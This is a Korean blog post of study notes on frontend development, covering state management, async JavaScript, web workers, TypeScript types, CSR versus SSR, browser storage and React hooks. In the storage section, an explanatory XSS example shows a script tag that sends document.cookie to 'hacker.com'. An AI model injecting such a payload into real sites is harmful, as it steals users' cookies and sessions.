프론트엔드 학습

CharmingL·2024년 10월 14일
1

한경붙캠

목록 보기
5/5

상태관리

서버 상태관리: 서버나 외부 데이터 소스에 저장된 데이터
전역 상태관리: Global Store에 정의되어 프로젝트 어디에서나 접근할 수 있는 상태

주로 서버 상태 관리를 위한 도구로는 Tanstack Query(구 React Query), SWR가 있고,
전역 상태 관리를 위한 도구로는 Redux, Redux Toolkit, MobX 등이 있다.

예전에는 useStateuseEffect만으로 서버 데이터를 관리하였으나,
요새는 다음과 같은 이유로 서버 데이터는 Tanstack Query, SWR로 관리하는 방식을 채택한다.

  • API 데이터를 가져오는 과정을 간소화
  • API 요청의 로딩 및 오류 상태를 관리
  • 캐싱

null, undefined 차이

null

명시적으로 '값이 없다'라는 것을 나타내는 상태
주로 개발자가 의도적으로 값이 없음을 나타내고 싶을 때 사용한다.

undefined

변수가 선언되었지만, 아직 값을 할당받지 못한 상태
주로 시스템에서 자동으로 설정하는 값으로 생각하면 된다.

  • 변수에 값이 할당되지 않은 초기 상태
  • 함수 값을 명시적으로 반환하지 않으면 undefined를 반환
// 그냥 처음 알게 돼서 적어보았다.. null은 object...
typeof null // 'object'
typeof undefined // 'undefined'

Javscript 특징

싱글스레드

자바스크립트는 기본적으로 싱글스레드 언어로, 한 번에 하나의 작업만을 처리할 수 있다.
비동기 처리 작업이 싱글쓰레드인 Javascript에서 어떻게 가능한가에 대해서 궁금하다면 여기를 참고하자.

비동기 코드 처리

서버 데이터를 화면에 프론트엔드에서 그리고는 하지만,
JS는 기본적으로 순차적으로 코드를 처리하지만 비동기 코드의 처리 순서를 보장하지 않는다.
즉 데이터를 패칭(비동기)과 같이 시간이 오래 걸리는 로직의 경우 웹 브라우저에게 맡기고,
화면을 먼저 그릴 수도 있는 것이다.
데이터 패칭 -> 데이터를 가공 -> 렌더링
실행순서를 보장하는 방법이 중요하다.
JS 이와 같은 비동기 로직을 처리하기 위해 등장한 callback, Promise, async-await의 특징들은 다음과 같다.

callback

파라미터로 전달받아 내부에서 실행되는 함수
즉, 코드를 통해 명시적으로 호출하는 함수가 아니라 함수를 등록해놓은 후 어떤 이벤트가 발생했거나 특정 시점에 도달했을 때 시스템에서 호출하는 함수를 말한다.

함수를 중첩해서 사용하는 방식으로,
비동기 처리 로직이 포함된 Javascript의 함수 실행순서를 보장해주지만,
코드가 복잡하고 가독성이 떨어지는 콜백지옥에 빠지지 않게 적절한 수준으로 사용해야한다.
콜백지옥짤
그 유명한 콜백 지옥짤

Promise

비동기 처리를 위한 전용 객체
비동기 콜백 함수의 수행 여부에 따라, pending(대기), fulfilled(이행), rejected()
앞서 언급한 콜백 지옥을 해결하면서 메서드 체이닝(.then)으로 실행순서를 보장한다.
하지만 끊임없는 체이닝으로 코드의 가독성이 떨어지게 되는데,
이를 프로미스 지옥이라고도 부르는 것 같다 ...비동기 지옥 파뤼

// 사용 방법
function one(){
	return new Promise(비동기 func);
};

one()
	.then(two)
	.then(three)
	.then(four)
	.catch(errorCatch)
	

async-await

비동기 함수를 식별하고(async), 실행순서를 제어(await)하기 위한 키워드
비동기 코드를 동기 코드처럼 작성할 수 있다.
중첩/체이닝으로부터 자유로운 코드를 얻을 수 있다. 아래의 예시를 보자.

function asyncFunc(value) {
  return new Promise(비동기 처리 로직);
}

// async === handleAsyncFunc은 비동기 함수야!
async function handleAsyncFunc() {
  try {
    const result1 = await asyncFunc(1);	// await === 다음거 수행하지 말고 기다려!
    const result2 = await asyncFunc(result1); // (위와 동일)
    const result3 = await asyncFunc(result2);  // (위와 동일)
  } catch (errorCatch)
}

handleAsyncFunc();

마치 비동기 코드가 아닌 마냥 순차적으로 처리되어야하는 로직들을 await 키워드로 나열했을 뿐이다. 이 await 키워드는 async 내에서 사용되며, 이 키워드를 만난 JS 엔진은 코드 실행을 일시중지하여 함수의 실행 순서를 보장하게 된다.
기존의 동기 코드들과 일관성을 가지므로, 코드의 가독성이 높아진다. 굿.

동시성

동시성이란 매우 빠르게 수행되어, 거의 동시에 실행되는 것처럼 보이는 것을 말한다.
자바스크립트에서는 이 동시성을 지원하기 위해 비동기 처리를 위한 브라우저에 내장되어있는 이벤트 루프, 워커들을 활용한다.

- Web Worker
싱글 쓰레드인 Javascript 환경에서 멀티 쓰레딩을 지원하기 위한 도구.
별도의 쓰레드에서 Javascript 코드를 실행할 수 있어 메인 스레드의 성능을 저하시키지 않고 무거운 작업을 처리할 수 있다.
Web worker는 UI와 독립적으로 동작하기 위해 Dom에 접근 불가하며, 제한된 API만 사용 가능하다.

- Service Worker
웹 애플리케이션의 백그라운드에서 실행되는 스크립트.
네트워크 요청을 가로채고 캐싱을 관리하는 등의 작업을 수행할 수 있다. 이를 통해 오프라인 지원 및 푸시 알림과 같은 기능을 구현할 수 있다.
Service worker는 페이지와 독립적으로 실행되며, 페이지가 닫혀도 백그라운드에서 계속 실행된다.

나는
Web worker는 메인 쓰레드에 있는 코드들을 나누어 실행하고,
Service worker는 기존 js 코드만으로는 할 수 없는,
브라우저의 도움을 받아야 하는 기능들을 추가 지원하기 위한 도구로 정리했다!

에러 핸들링

try-catch 활용(+finally)

async-await 내에서

typescript

type과 interface 차이

-typeinterface
타입 유형원시형, 객체,
유니온, 튜플 ...
객체만
재선언XO(병합)
확장 방식교차상속

재선언

interface는 재선언할 경우 자동으로 병합할 수 있다.
하지만 이는 재사용성이 떨어지므로 추천하지 않는 방식.

// interface
interface Person {
    name: string;
    age: number;
}

interface Person {
    gender: string; // 기존의 Person타입에 병합됨
}

const person: Person = {
    name: "Alice",
    age: 30,
    gender: "female"
};

병합 방식

interface의 경우 extends 키워드를 통해 상속의 개념을 사용하고,
type의 경우 & 연산자를 활용해 교차 개념을 사용하여 병합한다.

// interface
interface Employee extends Person {
    employeeId: number;
}

// type
type Employee = Person & {
    employeeId: number;
};

CSR, SSR

CSR, Client Side Rendering

" 서버에서는 빈 html 전송 -> 클라이언트에서 JS를 실행해 화면을 렌더링 "
화면 그리는 일을 클라이언트에게 모두 위임하는 렌더링 방식이다.


CSR을 채택하는 가장 대표적인 React를 활용한 프로젝트를 생각해보자.
버튼 클릭을 통한 페이지 전환시, 깜박거림이 없다. 왜일까?

새로운 페이지 내용을 꾸미기 위해 서버로 자원을 요청할 필요가 없기 때문이다.
대신에 화면을 꾸미기 위한 js 파일들을 클라이언트에서 가지고 있어야하기 때문에 초기 렌더링 시간이 오래 걸릴 수는 있지만 이후의 전환 속도는 빠르다.

또한 React는 크롤링이나 검색엔진에 있어 약점을 가진다. 크롤링은 서버가 요청했을 당시의 html의 정보를 긁어오지만 빈 html을 보내는 React 서비스는 내용이 노출되지 않았고, 검색엔진 또한 마찬가지였다. React의 발달과 함께 검색엔진도 이제는 React 서비스를 인덱싱할 수 있다지만, React는 자체적으로 검색엔진 최적화(SEO)에 대한 노력이 별도로 요구된다.
e.g. react-helmet, react-snap 등과 같은 메타데이터 설정 라이브러리

SSR

" 서버에서 이미 화면이 꾸며진 html을 전송 "
화면을 그리는 일을 서버에서 처리 후 클라이언트에게 전송하는 방식이다.
요즘 프론트엔드 생태계에서 급 부상하고 있는 Next.js가 SSR을 채택하고 있다.
React와는 반대로 서버에서 렌더링을 부담하기 때문에 초기 렌더링시간이 빠르지만,
서버의 부하가 커진다.
이미 서버로부터 내용이 완성된 html이 넘어가기 때문에 크롤링, 검색엔진에 있어 강점을 가진다.

스토리지

Local storage (5MB)

브라우저가 닫혀도 계속 유지되는 스토리지로, 도메인마다 독립적으로 저장된다.
Javascript로 제어되기 때문에, 누구나 악성 스크립트를 통해 접근(XSS)할 수 있다. 따라서 민감한 정보를 저장하는데에는 적절하지 않다.

// XSS(Cross Site Scripting) 공격 예시
// client가 해당 a 태그를 클릭하면
<a href="javascript:alert('hello world')">클릭해보세요</a>
...
// hacker의 사이트로 내 로컬스토리지 정보 전송
<script>document.location='http://hacker.com/cookie?'+document.cookie</script>

Session storage (5MB)

브라우저가 닫히면 사라지는 스토리지로, 현재 떠 있는 브라우저 탭에 종속된다.
즉 같은 페이지여도 다른 탭으로 접속하면 다른 곳에 저장된다.

만료 유무에 따라 Session Cookie와 Persistent Cookie로 구분된다.
Session Cookie의 생명주기는 Session Storage와,
Persistent Cookie의 생명주기는 Local Storage와 유사하다.
특정 도메인에 대해 설정된 쿠키는 해당 도메인에 대한 HTTP 요청을 보낼 때 자동으로 포함되어, 세션관리, 개인화 경험을 위한 정보 등이 관리된다.

html

이벤트 버블링

이벤트 캡쳐링

컴포넌트 설계시 가장 신경 써야할 것

React는 하나의 커다란 트리 구조로 컴포넌트가 구성된다. 따라서 서로 다른 두 컴포넌트에 같은 데이터가 필요하다고 할 때, 각 컴포넌트가 부모자식 관계로 되어있지 않은 이상, 각 컴포넌트 간의 직접적인 데이터 전달은 어렵다.

react hooks

useMemo

연산 비용이 큰 계산을 캐싱하여 성능을 최적화하는 데 사용한다. 의존성 배열이 변경되지 않는 한, 기존 값을 재사용한다.

useCallback

함수가 다시 생성되지 않도록 캐싱하여, 함수가 자주 재생성되는 문제를 방지하고 성능을 최적화하는 데 사용한다.

프론트 엔드 빌드 과정

빌드 툴

webpack

프론트엔드 프레임워크 내 불필요한 공백들을 생략하여,

babel

  1. 빌드 툴이 뭐가 있는지
  2. 과정 어떤 변화가 일어나는지

참고

흥미로운 글 추천

profile
내 빈틈을, 조금씩 천천히!! ٩(•᎑•)✦

0개의 댓글